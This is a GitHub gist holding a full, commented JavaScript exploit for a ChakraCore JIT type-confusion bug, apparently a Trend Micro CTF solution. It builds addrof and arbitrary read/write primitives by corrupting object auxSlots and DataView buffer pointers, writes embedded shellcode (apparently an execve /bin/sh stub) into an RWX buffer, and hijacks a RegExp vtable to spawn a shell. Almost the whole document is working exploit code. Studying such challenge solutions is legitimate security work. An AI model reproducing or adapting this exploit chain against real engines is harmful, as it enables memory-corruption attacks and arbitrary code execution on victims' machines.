Last active
April 9, 2021 18:29
-
-
Save itszn/3277e8aa56c91f8296d88d25d96df717 to your computer and use it in GitHub Desktop.
Trendmicro CTF ChakraCore exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let sc = [106,104,72,184,47,98,105,110,47,47,47,115,80,72,137,231,104,114,105,1,1,129,52,36,1,1,1,1,49,246,86,106,8,94,72,1,230,86,72,137,230,49,210,106,59,88,15,5]; | |
let conva = new ArrayBuffer(8) | |
let convi = new Uint32Array(conva); | |
let convf = new Float64Array(conva); | |
function i2f(i) { | |
convi[0] = i%0x100000000; | |
convi[1] = i/0x100000000; | |
return convf[0]; | |
} | |
function toLong(l,h) { | |
return (h*0x100000000)+ l; | |
} | |
function opt(o, proto, value) { | |
o.b = 1; | |
// When we make the object into a prototype, the DynamicObject will change | |
// so that the properties are in the auxSlots vector | |
let tmp = {__proto__: proto}; | |
/* However the JIT does not realize this, so it will still write to it as if it | |
was only inline slots | |
[ vtable ] [ vtable ] | |
[ type ] --> [ type ] | |
[ inline a ] [ auxslots ] | |
Now writing to inline slot a will overwrite the auxslots pointer with the value | |
*/ | |
o.a = value | |
} | |
function main() { | |
// This will the object we overwrite the auxslots using the bug | |
// once we trigger the bug we will be able to access Var values | |
// into a target object. However because of some constraints it | |
// is tricky to use our original object. We can successfully write | |
// to the 3rd qword index with o.c however | |
let o = {a:1, b:2} | |
// We will use the o.c to corrupt a nicer DynamicObject's auxslots | |
// This will give us the same setup, but with a more offsets to write | |
let target_o = {} | |
target_o.a = 1; | |
target_o.b = 2; | |
target_o.c = 3; | |
target_o.d = 4; | |
target_o.e = 5; | |
target_o.f = 6; | |
target_o.g = 7; | |
target_o.h = 8; | |
// Compile the bad function | |
for (let i = 0; i < 2000; i++) { | |
opt(o, {}, {}); | |
} | |
// Now we have the ability to write Var values over other objects | |
// I am going to target a DataView to try and achieve a read/write primitive | |
let target_buff = new DataView(new ArrayBuffer(0x100)); | |
let target_buff2 = new DataView(new ArrayBuffer(0x100)); | |
// Here we overwrite o's auxslots with our second DynamicObject | |
opt(o, o, target_o); | |
// Then we overwrite the target_o's auxslots with our data_buff | |
o.c = target_buff; | |
//target_o.e = 0xffff; // We can overwrite the length to see if our write worked | |
// At this point we can write to target_o.h to overwrite the backing | |
// buffer pointer of the target buffer, letting us use the buffer to | |
// read and write to the given pointer | |
// (Note we can't write arbitrary addresses yet because we can only | |
// write Vars to the auxslots. We will fix that later) | |
// We will also need an addrof primitive for later | |
// So I construct a DynamicObject to store Vars in | |
// and then a second to store the address of the first | |
/* | |
[ vtable ] | |
[ type ] | |
[ slot a ] ----> [ vtable ] | |
[ type ] | |
[ slot a ] | |
*/ | |
// By reading the qword in slot a with our corrupted dataview, we can | |
// leak the address of conf_obj, which we can use later to leak | |
// the address of any object in the first inline slot | |
let conf_obj = {a:target_buff} | |
let conf_obj2 = {a:conf_obj} | |
// Overwrite the buffer pointer with conf_obj2 pointer and read slot a | |
target_o.h = conf_obj2; | |
let conf_leak = toLong(target_buff.getUint32(2*8, true), | |
target_buff.getUint32(2*8+4, true) + 0*8); | |
print('addrof DynamicObject @ 0x' + conf_leak.toString(16)); | |
// Now we can try to get arbitrary read/write. Since I said before | |
// we can't write arbitrary pointers yet, we will use our first | |
// dataview to corrupt a second so we can write arbitrary addresses | |
target_o.h = target_buff2; | |
// Now we can construct primitives for read and write | |
let p = { | |
set: function(addr){ | |
// Overwrite the buffer pointer of the first dataview | |
target_buff.setUint32(7*8+4, addr/0x100000000, true) | |
target_buff.setUint32(7*8, addr%0x100000000, true) | |
}, | |
read64: function(addr) { | |
p.set(addr); | |
return toLong( | |
target_buff2.getUint32(0,true), | |
target_buff2.getUint32(4,true), | |
); | |
}, | |
write64: function(addr, val) { | |
p.set(addr); | |
target_buff2.setUint32(0,val/0x100000000, true); | |
target_buff2.setUint32(0,val%0x100000000, true); | |
}, | |
write64f: function(addr, val) { | |
p.set(addr); | |
// Here we can do a single write by doing a float | |
target_buff2.setFloat64(0, i2f(val), true); | |
}, | |
addrOf: function(obj) { | |
// To get the address of a DynamicObject we place it | |
// in the slot we know the address of and read the Var | |
conf_obj.a = obj; | |
return p.read64(conf_leak+8+8); | |
} | |
} | |
// With these primitives we can set up our final payload | |
// We will be hijacking a vtable of a DynamicObject | |
// So first I allocate some space to write the fake vtable | |
let arb_data = new DataView(new ArrayBuffer(0x1000)); | |
let data_buff = p.read64(p.addrOf(arb_data)+7*8); | |
// Note the binary has NX disabled so the heap is rwx, so | |
// I can allocate RWX space just using an ArrayBuffer | |
let shellcode_data = new DataView(new ArrayBuffer(0x1000)); | |
let shellcode_buff = p.read64(p.addrOf(shellcode_data)+7*8); | |
// We write the shellcode into the RWX buffer | |
for(let i=0; i<sc.length; i++) { | |
shellcode_data.setUint8(i, sc[i]); | |
} | |
// And write its address over the fake vtable | |
for(let i=0; i<80; i++) { | |
arb_data.setUint32(i*8,shellcode_buff%0x100000000,true); | |
arb_data.setUint32(i*8+4,shellcode_buff/0x100000000,true); | |
} | |
// Finally we pick an object to corrupt the vtable of | |
let a = RegExp(); | |
let obj_addr= p.addrOf(a); | |
print('RegExp obj @ 0x'+obj_addr.toString(16)); | |
// Write our fake vtable over the first qword | |
p.write64f(obj_addr, data_buff); | |
print('Popping a shell!') | |
a.hasOwnProperty('1') | |
} | |
main(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment